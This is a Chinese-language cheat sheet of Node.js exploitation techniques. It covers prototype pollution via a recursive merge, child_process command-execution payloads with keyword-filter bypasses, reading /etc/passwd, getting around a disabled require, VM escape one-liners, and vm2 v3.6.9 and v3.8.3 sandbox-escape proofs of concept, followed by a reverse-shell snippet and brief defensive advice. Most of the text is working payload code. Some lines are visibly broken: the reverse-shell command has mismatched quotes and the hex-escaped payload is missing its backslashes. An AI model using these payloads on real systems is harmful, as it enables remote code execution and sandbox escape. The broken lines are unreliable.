nodejs 中的漏洞技巧
字数 1022 2025-08-06 08:35:19
Node.js 安全漏洞与利用技巧详解
原型链基础
在 JavaScript 中,继承的整个过程称为原型链。每个对象都有一个指向其原型的内部链接(__proto__),这个原型对象又有自己的原型,一直到 null 为止。
原型链示例:
- 日期对象:
f -> Date.prototype -> Object.prototype -> null - 函数对象:
d -> Function.prototype -> Object.prototype -> null - 数组对象:
c -> Array.prototype -> Object.prototype -> null - 类实例:
b -> a.prototype -> Object.prototype -> null
访问原型的三种方式:
console.log(f1["__proto__"])
console.log(f1.__proto__)
console.log(f1.constructor.prototype) // 对象的__proto__属性指向类的原型对象prototype
访问函数的方式:
console.log(f1.constructor.constructor) // 获取Function,可用于构造匿名函数执行命令
原型链污染漏洞
merge 函数导致的污染
当存在 merge 或 clone 函数时,可能产生原型链污染:
function merge(a, b) {
for (var attr in b) {
if (isObject(a[attr]) && isObject(b[attr])) {
merge(a[attr], b[attr]);
} else {
a[attr] = b[attr];
}
}
return a
}
污染原理:
- 控制
b[attr]的值,将attr设为__proto__ - 配合
JSON.parse使__proto__被解析为键名而非原型 - 递归过程中,
a[attr]会指向对象a的原型,从而向所有对象添加新属性
示例:
let o3 = JSON.parse('{"a": 1, "__proto__": {"b": 2}}')
merge({}, o3)
console.log({}.b) // 输出 2,成功污染原型
Node.js 命令执行技巧
基本命令执行
eval=require("child_process").execSync('cat fl001g.txt')
绕过敏感字符检测的方法
- 字符串拼接:
eval=require("child_process")['exe'+'cSync']('cat fl001g.txt')
- 十六进制编码:
eval=require("child_process")["\x65\x78\x65\x63\x53\x79\x6e\x63"]('cat fl001g.txt')
- Unicode 编码:
eval=require("child_process")["\u0065\u0078\u0065\u0063\u0053\x79\x6e\x63"]('cat fl001g.txt')
- 模板字符串:
eval=require(%22child_process%22)[${${exe}cSync}](%27ls%27)
文件操作
- 文件读取:
require("fs").readFileSync('/etc/passwd')
- 目录查看:
require("fs").readdir(path, callback)
- 文件写入:
require("fs").writeFileSync('input.txt', 'sss')
当 require 被禁用时的绕过方法
- 使用 global 全局对象:
global.process.mainModule.constructor._load('child_process').exec('ls');
- 使用 Function 构造函数:
Function("global.process.mainModule.constructor._load('child_process').exec('ls')")();
- 使用定时器:
setInterval(function(){/* 命令执行代码 */}, 2000)
setTimeout(function(){/* 命令执行代码 */}, 2000)
VM 和 VM2 沙箱逃逸
VM 逃逸
基本逃逸方法:
const script = new vm.Script("this.constructor.constructor('return this.process.env')()");
命令执行:
this.constructor.constructor('return process')().mainModule.require('child_process').execSync('whoami').toString()
VM2 逃逸
VM2 对 constructor 和 proto 的访问进行了拦截,但仍存在历史漏洞:
- v3.6.9 逃逸 POC:
"use strict";
const {VM} = require('vm2');
const untrusted = `
var process;
try{
Object.defineProperty(Buffer.from(""),"",{
value:new Proxy({},{
getPrototypeOf(target){
if(this.t)
throw Buffer.from;
this.t=true;
return Object.getPrototypeOf(target);
}
})
});
}catch(e){
process = e.constructor("return process")();
}
process.mainModule.require("child_process").execSync("whoami").toString()
`;
try{
console.log(new VM().run(untrusted));
}catch(x){
console.log(x);
}
- v3.8.3 逃逸 POC:
"use strict";
const {VM} = require('vm2');
const untrusted = '(' + function(){
try{
Buffer.from(new Proxy({}, {
getOwnPropertyDescriptor(){
throw f=>f.constructor("return process")();
}
}));
}catch(e){
return e(()=>{}).mainModule.require("child_process").execSync("whoami").toString();
}
}+')()';
try{
console.log(new VM().run(untrusted));
}catch(x){
console.log(x);
}
模板字符串利用
模板字符串可以用于绕过关键词过滤:
`${`${`constructo`}r`}` // 拼接结果为 "constructor"
实际利用示例:
(function (){
TypeError[`${`${`protot`}ype`}`][`${`${`get_proc`}esss`}`] = f=>f[`${`${`construc`}tor`}`](`${`${`return this.proc`}ess`}`)();
try{
Object.preventExtensions(Buffer.from(``)).a = 1;
}catch(e){
return e[`${`${`get_proc`}ess`}`](()=>{}).mainModule[`${`${`requir`}e`}`](`${`${`child_proces`}s`}`)[`${`${`exe`}cSync`}`](`whoami`).toString();
}
})()
或使用十六进制编码:
(function(){TypeError[`x70x72x6fx74x6fx74x79x70x65`][`x67x65x74x5fx70x72x6fx63x65x73x73`] = f=>f[`x63x6fx6ex73x74x72x75x63x74x6fx72`](`x72x65x74x75x72x6ex20x70x72x6fx63x65x73x73`)();try{Object.preventExtensions(Buffer.from(``)).a = 1;}catch(e){return e[`x67x65x74x5fx70x72x6fx63x65x73x73`](()=>{}).mainModule.require((`x63x68x69x6cx64x5fx70x72x6fx63x65x73x73`))[`x65x78x65x63x53x79x6ex63`](`whoami`).toString();}})()
反弹 Shell
在 Node.js 中反弹 Shell 需要注意特殊字符的处理:
code=require('child_process').exec('cmd'|base64 -d|bash');
安全建议
- 避免使用不安全的 merge/clone 函数
- 对用户输入进行严格过滤
- 使用最新版本的 VM2 沙箱
- 限制 child_process 模块的使用
- 对原型操作进行监控和限制
以上技术仅用于安全研究和防御,请勿用于非法用途。